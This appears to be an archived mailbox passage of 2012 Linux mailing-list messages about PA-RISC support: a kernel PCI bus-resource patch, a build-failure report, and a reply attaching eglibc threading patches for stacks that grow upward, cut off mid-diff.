Original-X-From: linux-kernel-owner@vger.kernel.org Tue Feb 28 23:09:23 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1S2VEY-00049c-PE
	for glk-linux-kernel-3@plane.gmane.org; Tue, 28 Feb 2012 23:09:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030469Ab2B1WJI (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 28 Feb 2012 17:09:08 -0500
Original-Received: from rcsinet15.oracle.com ([148.87.113.117]:26132 "EHLO
	rcsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1030241Ab2B1WJE (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 28 Feb 2012 17:09:04 -0500
Original-Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238])
	by rcsinet15.oracle.com (Sentrion-MTA-4.2.2/Sentrion-MTA-4.2.2) with ESMTP id q1SM8NEL025940
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 28 Feb 2012 22:08:24 GMT
Original-Received: from acsmt357.oracle.com (acsmt357.oracle.com [141.146.40.157])
	by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q1SM8Mk3006886
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 28 Feb 2012 22:08:22 GMT
Original-Received: from abhmt108.oracle.com (abhmt108.oracle.com [141.146.116.60])
	by acsmt357.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q1SM8Leb022346;
	Tue, 28 Feb 2012 16:08:21 -0600
Original-Received: from linux-siqj.site.com (/10.132.126.254)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Tue, 28 Feb 2012 14:08:21 -0800
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1330466863-28469-1-git-send-email-yinghai@kernel.org>
X-Source-IP: acsinet22.oracle.com [141.146.126.238]
X-CT-RefId: str=0001.0A090201.4F4D5059.00AD,ss=1,re=0.000,fgs=0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1259611 gmane.linux.kernel.pci:13836 gmane.linux.kernel.cross-arch:12794 gmane.linux.ports.parisc:4213
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1259611>

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    5 +++++
 drivers/parisc/lba_pci.c |    3 +++
 2 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 0610e91..def94af 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -984,6 +984,10 @@ static int __init dino_probe(struct parisc_device *dev)
 	if (dino_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
 
+	dino_dev->hba.bus_num.start = dino_current_bus;
+	dino_dev->hba.bus_num.end = 255;
+	dino_dev->hba.bus_num.flags |= IORESOURCE_BUS;
+	pci_add_resource(&resources, &dino_dev->hba.bus_num);
 	/*
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
@@ -999,6 +1003,7 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_update_busn_res_end(bus, bus->subordinate);
 	bus->subordinate = pci_scan_child_bus(bus);
 
 	/* This code *depends* on scanning being single threaded
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index e885764..df1e9f9 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1503,6 +1503,9 @@ lba_driver_probe(struct parisc_device *dev)
 	if (lba_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
 
+	lba_dev->hba.bus_num.flags |= IORESOURCE_BUS;
+	pci_add_resource(&resources, &lba_dev->hba.bus_num);
+
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
 		pci_create_root_bus(&dev->dev, lba_dev->hba.bus_num.start,
-- 
1.7.7


From - Thu Nov 08 21:07:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC (take 2)
Date: Tue, 28 Feb 2012 23:56:05 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20120228225605.GA24038@glitch>
References: <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl>
 <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>
 <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>
 <4F031B1A.4010908@bell.net>
 <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com>
 <4F032C4C.10805@bell.net>
 <1325608972.3185.8.camel@dabdike.int.hansenpartnership.com>
 <4F034B6B.5020809@bell.net>
 <BLU0-SMTP5091B64E5E2C07CEDC0D41978C0@phx.gbl>
 <4F4CF28A.5050407@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1330469775 14813 80.91.229.3 (28 Feb 2012 22:56:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 28 Feb 2012 22:56:15 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 28 23:56:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S2Vxr-0006Am-IZ
	for glpp-linux-parisc@plane.gmane.org; Tue, 28 Feb 2012 23:56:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757430Ab2B1W4K (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Feb 2012 17:56:10 -0500
Original-Received: from mail-ee0-f46.google.com ([74.125.83.46]:36796 "EHLO
	mail-ee0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757428Ab2B1W4J (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Feb 2012 17:56:09 -0500
Original-Received: by eekc41 with SMTP id c41so1360778eek.19
        for <linux-parisc@vger.kernel.org>; Tue, 28 Feb 2012 14:56:08 -0800 (PST)
Received-SPF: pass (google.com: domain of cavokz@gmail.com designates 10.14.22.65 as permitted sender) client-ip=10.14.22.65;
Authentication-Results: mr.google.com; spf=pass (google.com: domain of cavokz@gmail.com designates 10.14.22.65 as permitted sender) smtp.mail=cavokz@gmail.com; dkim=pass header.i=cavokz@gmail.com
Original-Received: from mr.google.com ([10.14.22.65])
        by 10.14.22.65 with SMTP id s41mr12245804ees.50.1330469768196 (num_hops = 1);
        Tue, 28 Feb 2012 14:56:08 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=sender:date:from:to:cc:subject:message-id:mail-followup-to
         :references:mime-version:content-type:content-disposition
         :in-reply-to;
        bh=7WxN8XLOge95nlWK8X9/kC3p1GP6CPIDBM2k4Adc+VY=;
        b=jqujQ57x6Ta7MVXChtG0ifrYbm2rzMEjjbkxDSo13YvceQej4jQHfrs8EgCsdl/+Nr
         AFApIDlieb+veNA4d84lFmnmrCUy6QF75ZTSJsbeYhrEUgrnKexbSvt4O70pgfvmszXu
         vOC3P+v42rbuLADWCsCsOxQSZJO87HzEfulks=
Original-Received: by 10.14.22.65 with SMTP id s41mr9179964ees.50.1330469768087;
        Tue, 28 Feb 2012 14:56:08 -0800 (PST)
Original-Received: from glitch (178-85-163-250.dynamic.upc.nl. [178.85.163.250])
        by mx.google.com with ESMTPS id z7sm28629333eef.9.2012.02.28.14.56.06
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 28 Feb 2012 14:56:07 -0800 (PST)
Original-Received: by glitch (Postfix, from userid 1000)
	id 75D30BA028F; Tue, 28 Feb 2012 23:56:05 +0100 (CET)
Mail-Followup-To: John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
Content-Disposition: inline
In-Reply-To: <4F4CF28A.5050407@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4214
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4214>

Hi,

On Tue, Feb 28, 2012 at 10:28:10AM -0500, John David Anglin wrote:
>
> Here is take 3.  Since take 2, I have tried mainly to explore
> performance issues.
> 
> The big difference is a new implementation of flush_cache_mm where I try to
> avoid the brutal flush of the whole cache.  This drops the full GCC
> build time at
> -j4 from about six hours nine minutes to three hours ten minutes on
> rp3440 (i.e.,
> almost by a factor two).  Build and check time is still a bit slower
> than HP-UX.
> There's probably more to tweak here.
> 
> Other changes made little difference (e.g., clear_page_asm).  I also
> explored
> the affect of prefetch operations in clear_page_asm and copy_page_asm, but
> the difference if any was in the noise.

I applied this patch to v3.3-rc5 and then tried to build eglibc 2.13-27,
unsuccessfully. Do you have any patch for it?

Thanks,
Domenico
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC (take 2)
Date: Tue, 28 Feb 2012 20:28:48 -0500
Lines: 1758
Approved: news@gmane.org
Message-ID: <BLU0-SMTP2670A16C9E610AE5C81121976F0@phx.gbl>
References: <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl> <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl> <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com> <4F031B1A.4010908@bell.net> <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com> <4F032C4C.10805@bell.net> <1325608972.3185.8.camel@dabdike.int.hansenpartnership.com> <4F034B6B.5020809@bell.net> <BLU0-SMTP5091B64E5E2C07CEDC0D41978C0@phx.gbl> <4F4CF28A.5050407@bell.net> <20120228225605.GA24038@glitch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-35--15589280"
X-Trace: dough.gmane.org 1330478953 10630 80.91.229.3 (29 Feb 2012 01:29:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 29 Feb 2012 01:29:13 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 29 02:29:11 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1S2YLu-0006ed-9c
	for glpp-linux-parisc@plane.gmane.org; Wed, 29 Feb 2012 02:29:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965501Ab2B2B3J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 28 Feb 2012 20:29:09 -0500
Original-Received: from blu0-omc4-s13.blu0.hotmail.com ([65.55.111.152]:13254 "EHLO
	blu0-omc4-s13.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S965003Ab2B2B3I (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 28 Feb 2012 20:29:08 -0500
Original-Received: from BLU0-SMTP26 ([65.55.111.136]) by blu0-omc4-s13.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 28 Feb 2012 17:29:07 -0800
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP26.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 28 Feb 2012 17:29:06 -0800
In-Reply-To: <20120228225605.GA24038@glitch>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 29 Feb 2012 01:29:06.0707 (UTC) FILETIME=[873D7E30:01CCF681]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4215
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4215>

--Apple-Mail-35--15589280
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

On 28-Feb-12, at 5:56 PM, Domenico Andreoli wrote:

> I applied this patch to v3.3-rc5 and then tried to build eglibc  
> 2.13-27,
> unsuccessfully. Do you have any patch for it?

I have 2.13-26 installed on my home system.  I plan to build 2.13-27  
soon.

Attached are my glibc patch set.  You need to remove hppa/local-stack- 
grows-up.diff with quilt
and then import the changes below in order.  Each patch must be pushed  
after import.

However, there are some pre-dependencies.  I believe that you should  
build the current version
of binutils with the attached two changes.  They are in the upstream  
sources but I don't believe
they are in the debian source yet. You also may need to update gcc to  
the latest unstable version
of 4.4 (build might have switched to 4.6 branch).  I now build almost  
everything else with 4.6.2.

For installation, I believe that perl and some dependent libraries  
need updating.  Otherwise, the
install will break perl.

If you get that far, you will resolve many thread related problems.   
If you use udev, it should
then be possible to update.

If you get in trouble, there are many .debs in my /dave/home/archives  
directory on shirka.esiee.fr.
If you don't have access to this system, possibly Thibaut can provide  
an account.  These can help
you revert or resolve dependencies.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-35--15589280
Content-Disposition: attachment; filename="core-2011-08-31.diff"
Content-Type: application/octet-stream; x-unix-mode=0644;
	name="core-2011-08-31.diff"
Content-Transfer-Encoding: 7bit

Index: eglibc-2.13/nptl/allocatestack.c
===================================================================
--- eglibc-2.13.orig/nptl/allocatestack.c	2011-09-04 12:36:29.000000000 -0400
+++ eglibc-2.13/nptl/allocatestack.c	2011-09-04 12:41:22.000000000 -0400
@@ -356,6 +356,15 @@
   if (__builtin_expect (attr->flags & ATTR_FLAG_STACKADDR, 0))
     {
       uintptr_t adj;
+#if _STACK_GROWS_DOWN
+      char * stackaddr = (char *) attr->stackaddr;
+#else
+      /* Assume the same layout as the _STACK_GROWS_DOWN case, 
+	 with struct pthread at the top of the stack block. 
+	 Later we adjust the guard location and stack address 
+	 to match the _STACK_GROWS_UP case.  */
+      char * stackaddr = (char *) attr->stackaddr + attr->stacksize;
+#endif
 
       /* If the user also specified the size of the stack make sure it
 	 is large enough.  */
@@ -365,11 +374,11 @@
 
       /* Adjust stack size for alignment of the TLS block.  */
 #if TLS_TCB_AT_TP
-      adj = ((uintptr_t) attr->stackaddr - TLS_TCB_SIZE)
+      adj = ((uintptr_t) stackaddr - TLS_TCB_SIZE)
 	    & __static_tls_align_m1;
       assert (size > adj + TLS_TCB_SIZE);
 #elif TLS_DTV_AT_TP
-      adj = ((uintptr_t) attr->stackaddr - __static_tls_size)
+      adj = ((uintptr_t) stackaddr - __static_tls_size)
 	    & __static_tls_align_m1;
       assert (size > adj);
 #endif
@@ -379,10 +388,10 @@
 	 the stack.  It is the user's responsibility to do this if it
 	 is wanted.  */
 #if TLS_TCB_AT_TP
-      pd = (struct pthread *) ((uintptr_t) attr->stackaddr
+      pd = (struct pthread *) ((uintptr_t) stackaddr
 			       - TLS_TCB_SIZE - adj);
 #elif TLS_DTV_AT_TP
-      pd = (struct pthread *) (((uintptr_t) attr->stackaddr
+      pd = (struct pthread *) (((uintptr_t) stackaddr
 				- __static_tls_size - adj)
 			       - TLS_PRE_TCB_SIZE);
 #endif
@@ -394,7 +403,7 @@
       pd->specific[0] = pd->specific_1stblock;
 
       /* Remember the stack-related values.  */
-      pd->stackblock = (char *) attr->stackaddr - size;
+      pd->stackblock = (char *) stackaddr - size;
       pd->stackblock_size = size;
 
       /* This is a user-provided stack.  It will not be queued in the
@@ -625,7 +634,7 @@
 	  char *guard = mem + (((size - guardsize) / 2) & ~pagesize_m1);
 #elif _STACK_GROWS_DOWN
 	  char *guard = mem;
-# elif _STACK_GROWS_UP
+#elif _STACK_GROWS_UP
 	  char *guard = (char *) (((uintptr_t) pd - guardsize) & ~pagesize_m1);
 #endif
 	  if (mprotect (guard, guardsize, PROT_NONE) != 0)
@@ -678,9 +687,13 @@
 			prot) != 0)
 	    goto mprot_error;
 #elif _STACK_GROWS_UP
-	  if (mprotect ((char *) pd - pd->guardsize,
-			pd->guardsize - guardsize, prot) != 0)
-	    goto mprot_error;
+	  char *new_guard = (char *) (((uintptr_t) pd - guardsize) & ~pagesize_m1);
+	  char *old_guard = (char *) (((uintptr_t) pd - pd->guardsize) & ~pagesize_m1);
+	  /* The guard size difference might be > 0, but once rounded
+	     to the nearest page the size difference might be zero.  */
+	  if (old_guard - new_guard > 0)
+	    if (mprotect (old_guard, new_guard - old_guard, prot) != 0)
+	      goto mprot_error;
 #endif
 
 	  pd->guardsize = guardsize;
@@ -723,8 +736,10 @@
 #elif _STACK_GROWS_DOWN
   *stack = stacktop;
 #elif _STACK_GROWS_UP
+  /* We don't use stacktop. In _STACK_GROWS_UP the start
+     of the stack is simply stackblock (lowest address of
+     the stored block of memory for the stack).  */
   *stack = pd->stackblock;
-  assert (*stack > 0);
 #endif
 
   return 0;
Index: eglibc-2.13/nptl/pthread_attr_getstack.c
===================================================================
--- eglibc-2.13.orig/nptl/pthread_attr_getstack.c	2011-09-04 12:37:08.000000000 -0400
+++ eglibc-2.13/nptl/pthread_attr_getstack.c	2011-09-04 12:41:22.000000000 -0400
@@ -1,4 +1,4 @@
-/* Copyright (C) 2002 Free Software Foundation, Inc.
+/* Copyright (C) 2002, 2010 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
    Contributed by Ulrich Drepper <drepper@redhat.com>, 2002.
 
@@ -33,7 +33,11 @@
   iattr = (struct pthread_attr *) attr;
 
   /* Store the result.  */
+#ifdef _STACK_GROWS_DOWN
   *stackaddr = (char *) iattr->stackaddr - iattr->stacksize;
+#else
+  *stackaddr = (char *) iattr->stackaddr;
+#endif
   *stacksize = iattr->stacksize;
 
   return 0;
Index: eglibc-2.13/nptl/pthread_attr_setstack.c
===================================================================
--- eglibc-2.13.orig/nptl/pthread_attr_setstack.c	2011-09-04 12:37:37.000000000 -0400
+++ eglibc-2.13/nptl/pthread_attr_setstack.c	2011-09-04 12:41:22.000000000 -0400
@@ -1,4 +1,4 @@
-/* Copyright (C) 2002, 2003, 2006 Free Software Foundation, Inc.
+/* Copyright (C) 2002, 2003, 2006, 2010 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
    Contributed by Ulrich Drepper <drepper@redhat.com>, 2002.
 
@@ -48,7 +48,11 @@
 #endif
 
   iattr->stacksize = stacksize;
+#if _STACK_GROWS_DOWN
   iattr->stackaddr = (char *) stackaddr + stacksize;
+#else
+  iattr->stackaddr = (char *) stackaddr;
+#endif
   iattr->flags |= ATTR_FLAG_STACKADDR;
 
   return 0;
@@ -81,7 +85,11 @@
 #  endif
 
   iattr->stacksize = stacksize;
+#if _STACK_GROWS_DOWN
   iattr->stackaddr = (char *) stackaddr + stacksize;
+#else
+  iattr->stackaddr = (char *) stackaddr;
+#endif
   iattr->flags |= ATTR_FLAG_STACKADDR;
 
   return 0;
Index: eglibc-2.13/nptl/pthread_create.c
===================================================================
--- eglibc-2.13.orig/nptl/pthread_create.c	2011-09-04 12:38:04.000000000 -0400
+++ eglibc-2.13/nptl/pthread_create.c	2011-09-04 12:41:22.000000000 -0400
@@ -392,12 +392,25 @@
 #ifdef _STACK_GROWS_DOWN
   char *sp = CURRENT_STACK_FRAME;
   size_t freesize = (sp - (char *) pd->stackblock) & ~pagesize_m1;
-#else
-# error "to do"
-#endif
   assert (freesize < pd->stackblock_size);
   if (freesize > PTHREAD_STACK_MIN)
     madvise (pd->stackblock, freesize - PTHREAD_STACK_MIN, MADV_DONTNEED);
+#else
+  /* Page aligned start of memory to free (higher than or equal 
+     to current sp plus the minimum stack size).  */
+  void *freeblock = (void*)((size_t)(CURRENT_STACK_FRAME 
+				     + PTHREAD_STACK_MIN 
+				     + pagesize_m1) 
+				    & ~pagesize_m1);
+  char *free_end = (char *) (((uintptr_t) pd - pd->guardsize) & ~pagesize_m1);
+  /* Is there any space to free?  */
+  if (free_end > (char *)freeblock)
+    {
+      size_t freesize = (size_t)(free_end - (char *)freeblock);
+      assert (freesize < pd->stackblock_size);
+      madvise (freeblock, freesize, MADV_DONTNEED);
+    }
+#endif
 
   /* If the thread is detached free the TCB.  */
   if (IS_DETACHED (pd))
Index: eglibc-2.13/nptl/pthread_getattr_np.c
===================================================================
--- eglibc-2.13.orig/nptl/pthread_getattr_np.c	2011-09-04 12:38:22.000000000 -0400
+++ eglibc-2.13/nptl/pthread_getattr_np.c	2011-09-04 12:41:22.000000000 -0400
@@ -1,4 +1,5 @@
-/* Copyright (C) 2002, 2003, 2004, 2006, 2007 Free Software Foundation, Inc.
+/* Copyright (C) 2002, 2003, 2004, 2006, 2007, 
+   2010 Free Software Foundation, Inc.
    This file is part of the GNU C Library.
    Contributed by Ulrich Drepper <drepper@redhat.com>, 2002.
 
@@ -61,7 +62,11 @@
   if (__builtin_expect (thread->stackblock != NULL, 1))
     {
       iattr->stacksize = thread->stackblock_size;
+#ifdef _STACK_GROWS_DOWN
       iattr->stackaddr = (char *) thread->stackblock + iattr->stacksize;
+#else
+      iattr->stackaddr = (char *) thread->stackblock;
+#endif
     }
   else
     {
@@ -110,13 +115,21 @@
 		    {
 		      /* Found the entry.  Now we have the info we need.  */
 		      iattr->stacksize = rl.rlim_cur;
+#ifdef _STACK_GROWS_DOWN
 		      iattr->stackaddr = (void *) to;
 
 		      /* The limit might be too high.  */
 		      if ((size_t) iattr->stacksize
 			  > (size_t) iattr->stackaddr - last_to)
 			iattr->stacksize = (size_t) iattr->stackaddr - last_to;
+#else
+		      iattr->stackaddr = (void *) from;
 
+		      /* The limit might be too high.  */
+		      if ((size_t) iattr->stacksize
+			  > to - (size_t) iattr->stackaddr)
+			iattr->stacksize = to - (size_t) iattr->stackaddr;
+#endif
 		      /* We succeed and no need to look further.  */
 		      ret = 0;
 		      break;
Index: eglibc-2.13/nptl/pthread_mutex_trylock.c
===================================================================
--- eglibc-2.13.orig/nptl/pthread_mutex_trylock.c	2011-09-04 12:38:45.000000000 -0400
+++ eglibc-2.13/nptl/pthread_mutex_trylock.c	2011-09-04 12:41:22.000000000 -0400
@@ -240,7 +240,8 @@
 							  private), 0, 0);
 
 	    if (INTERNAL_SYSCALL_ERROR_P (e, __err)
-		&& INTERNAL_SYSCALL_ERRNO (e, __err) == EWOULDBLOCK)
+		&& ((INTERNAL_SYSCALL_ERRNO (e, __err) == EWOULDBLOCK)
+		    || (INTERNAL_SYSCALL_ERRNO (e, __err) == EAGAIN)))
 	      {
 		THREAD_SETMEM (THREAD_SELF, robust_head.list_op_pending, NULL);
 
Index: eglibc-2.13/nptl/sysdeps/pthread/aio_misc.h
===================================================================
--- eglibc-2.13.orig/nptl/sysdeps/pthread/aio_misc.h	2011-09-04 12:39:12.000000000 -0400
+++ eglibc-2.13/nptl/sysdeps/pthread/aio_misc.h	2011-09-04 12:41:22.000000000 -0400
@@ -51,7 +51,7 @@
 	  {								      \
 	    status = lll_futex_timed_wait (futexaddr, oldval, timeout,	      \
 					   LLL_PRIVATE);		      \
-	    if (status != -EWOULDBLOCK)					      \
+	    if (status != -EWOULDBLOCK && status != -EAGAIN)		      \
 	      break;							      \
 									      \
 	    oldval = *futexaddr;					      \
@@ -66,7 +66,7 @@
 	else if (status == -ETIMEDOUT)					      \
 	  result = EAGAIN;						      \
 	else								      \
-	  assert (status == 0 || status == -EWOULDBLOCK);		      \
+	  assert (status == 0 || status == -EWOULDBLOCK || status == -EAGAIN);\
 									      \
 	pthread_mutex_lock (&__aio_requests_mutex);			      \
       }									      \
Index: eglibc-2.13/nptl/sysdeps/pthread/gai_misc.h
===================================================================
--- eglibc-2.13.orig/nptl/sysdeps/pthread/gai_misc.h	2011-09-04 12:39:40.000000000 -0400
+++ eglibc-2.13/nptl/sysdeps/pthread/gai_misc.h	2011-09-04 12:41:22.000000000 -0400
@@ -52,7 +52,7 @@
 	  {								      \
 	    status = lll_futex_timed_wait (futexaddr, oldval, timeout,	      \
 					   LLL_PRIVATE);		      \
-	    if (status != -EWOULDBLOCK)					      \
+	    if (status != -EWOULDBLOCK && status != -EAGAIN)		      \
 	      break;							      \
 									      \
 	    oldval = *futexaddr;					      \
@@ -67,7 +67,7 @@
 	else if (status == -ETIMEDOUT)					      \
 	  result = EAGAIN;						      \
 	else								      \
-	  assert (status == 0 || status == -EWOULDBLOCK);		      \
+	  assert (status == 0 || status == -EWOULDBLOCK || status == -EAGAIN);\
 									      \
 	pthread_mutex_lock (&__gai_requests_mutex);			      \
       }									      \
Index: eglibc-2.13/nptl/sysdeps/unix/sysv/linux/sem_timedwait.c
===================================================================
--- eglibc-2.13.orig/nptl/sysdeps/unix/sysv/linux/sem_timedwait.c	2011-09-04 12:40:07.000000000 -0400
+++ eglibc-2.13/nptl/sysdeps/unix/sysv/linux/sem_timedwait.c	2011-09-04 12:41:22.000000000 -0400
@@ -90,7 +90,7 @@
       /* Disable asynchronous cancellation.  */
       __pthread_disable_asynccancel (oldtype);
 
-      if (err != 0 && err != -EWOULDBLOCK)
+      if (err != 0 && err != -EWOULDBLOCK && err != -EAGAIN)
 	{
 	  __set_errno (-err);
 	  err = -1;
Index: eglibc-2.13/nptl/sysdeps/unix/sysv/linux/sem_wait.c
===================================================================
--- eglibc-2.13.orig/nptl/sysdeps/unix/sysv/linux/sem_wait.c	2011-09-04 12:40:30.000000000 -0400
+++ eglibc-2.13/nptl/sysdeps/unix/sysv/linux/sem_wait.c	2011-09-04 12:41:22.000000000 -0400
@@ -62,7 +62,7 @@
       /* Disable asynchronous cancellation.  */
       __pthread_disable_asynccancel (oldtype);
 
-      if (err != 0 && err != -EWOULDBLOCK)
+      if (err != 0 && err != -EWOULDBLOCK && err != -EAGAIN)
 	{
 	  __set_errno (-err);
 	  err = -1;
@@ -107,7 +107,7 @@
       /* Disable asynchronous cancellation.  */
       __pthread_disable_asynccancel (oldtype);
     }
-  while (err == 0 || err == -EWOULDBLOCK);
+  while (err == 0 || err == -EWOULDBLOCK || err == -EAGAIN);
 
   __set_errno (-err);
   return -1;

--Apple-Mail-35--15589280
Content-Disposition: attachment; filename="ports-2011-08-31.diff"
Content-Type: application/octet-stream; x-unix-mode=0644;
	name="ports-2011-08-31.diff"
Content-Transfer-Encoding: 7bit

Index: eglibc-2.13/ports/ChangeLog.hppa
===================================================================
--- eglibc-2.13.orig/ports/ChangeLog.hppa	2011-09-04 14:13:02.000000000 -0400
+++ eglibc-2.13/ports/ChangeLog.hppa	2011-09-04 14:20:23.000000000 -0400
@@ -1,3 +1,8 @@
+2010-10-29  Carlos O'Donell  <carlos@codesourcery.com>
+
+	* sysdeps/hppa/dl-machine.h: Update copyright year.
+	(ELF_MACHINE_BEFORE_RTLD_RELOC): Call _dl_fptr_init.
+
 2010-06-24  Carlos O'Donell  <carlos@codesourcery.com>
 
 	* sysdeps/unix/sysv/linux/hppa/nptl/pt-vfork.S: Only create stack 
Index: eglibc-2.13/ports/sysdeps/hppa/configure
===================================================================
--- eglibc-2.13.orig/ports/sysdeps/hppa/configure	2011-09-04 14:13:32.000000000 -0400
+++ eglibc-2.13/ports/sysdeps/hppa/configure	2011-09-04 14:34:35.000000000 -0400
@@ -1,19 +1,101 @@
+
+# as_fn_set_status STATUS
+# -----------------------
+# Set $? to STATUS, without forking.
+as_fn_set_status ()
+{
